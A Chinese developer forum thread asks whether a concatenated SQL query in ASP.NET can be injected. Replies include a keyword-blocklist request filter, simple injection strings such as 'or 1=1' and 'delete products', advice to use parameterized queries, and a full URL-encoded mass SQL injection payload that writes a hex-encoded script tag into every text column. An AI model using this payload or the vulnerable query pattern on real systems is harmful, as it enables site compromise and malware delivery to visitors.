因为条件不确定,所以程序有时不方便用参数化查询类似这种常见的sql,会被注入吗?
怎么注入呢?我测试下!string color=Request.QueryString["red"];
sqlhelper.execute("select * from products where color=" + color + "");
怎么注入呢?我测试下!string color=Request.QueryString["red"];
sqlhelper.execute("select * from products where color=" + color + "");
解决方案 »
- 如何调用前台button如何调用后台事件
- 关于profile的问题
- 下面这个AJAX方法怎么会有Object reference not set to an instance of an object.
- (300元)求asp.net中怎样实现paypal在线支付示例
- 用CSS做菜单时遇到的格式问题
- 我想让别人进入web时通过我的登陆页面而不是在IE中输入网页地址也能进去
- 没有赚到分呀. oracle中如何传递变量
- 防刷新问题,小弟先谢拉~~~
- 关于绑定数据显示的问题。。。
- 有经验的朋友进来看一下
- 一个关于网页弹出的问题
- 关于SharpZipLib 的问题,如何向原有的ZIP压缩包,追加文件呢??
如在Global.asax中增加验证:
protected void Application_BeginRequest(Object sender, EventArgs e)
{
string SqlStr = System.Configuration.ConfigurationManager.AppSettings["LimitRequest"];
string[] sql_c = SqlStr.Split('|'); if (Request.QueryString != null)
{
foreach (string sl in sql_c)
{
if (Server.UrlDecode(Request.QueryString.ToString()).ToLower().IndexOf(sl) >= 0)
{
Response.Write("警告!你的IP已经被记录!<br/>");//警告
Response.Write("请求地址包含违禁关键字:" + sl + "<br/>");
Response.Write("请求地址:" + Request.QueryString.ToString()); Response.End();
break;
}
}
} if (Request.Form.Count > 0)
{ string s1 = Request.ServerVariables["SERVER_NAME"].Trim();//服务器名称
if (Request.ServerVariables["HTTP_REFERER"] != null)
{
string s2 = Request.ServerVariables["HTTP_REFERER"].Trim();//http接收的名称
string s3 = "";
if (s1.Length > (s2.Length - 7))
{
s3 = s2.Substring(7);
}
else
{
s3 = s2.Substring(7, s1.Length);
}
if (s3 != s1)
{
Response.Write("你的IP已被记录!警告!");//警告 Response.End();
}
}
}
} 配置文件中增加需要过滤的字符:
<!-- 请求过滤验证,以“|”隔开 -->
<add key="LimitRequest" value="and |declare |exec |insert |select |delete |update |count |* |chr |mid |master |truncate |char |or |script |join |Create |Drop "/>水平所限,只懂这点。
/destination/showsightnews.aspx?id=1&sightnewsid=1;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=['%2b@c%2b']%2bcAsT(0x223E3074207372633D687474703A2F2F25363625373D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;
可能你的queryString限制了不允许这样的非法字符 但这并不代表攻击者不会发送这样的字符来攻击你的程序攻击者可以很容易的用发包软件给你的程序发送这样的请求
new SqlParameter("@color", SqlDbType.NVarChar, 50) };
parmGuestbook[0].Value = Request.QueryString["red"]; sql = "select * from products where color= @color";
SqlHelper.ExecuteNonQuery(ConnectionString, CommandType.Text, sql, parm )
如果 red = 'red' or 1=1 的话,那你这句sql就变成了 select * from products where color = 'red' or 1=1 那应该所有的产品都出来了。
你的color是字符串吗?
' " + color + " '字符串要这么多点的
输入 1 and 1 = 1
试试
不就查出你所有数据了
这种没用的~把sql转2进制还是能注入的。
即使你关了错误显示,照样能注入你iframe木马,只要你的连接账号有类似sa的权限,并且能注入。
一般都是用SqlParameter来防止注入的。
譬如
color = '' delete products
{
bool f = false;
if (Str == "")
{
return false;
}
else
{
foreach (Char ch in Str)
{
if (!Char.IsNumber(ch))
{
return true;
}
}
}
return f;
}可以过虑非法ID字符啊!试试!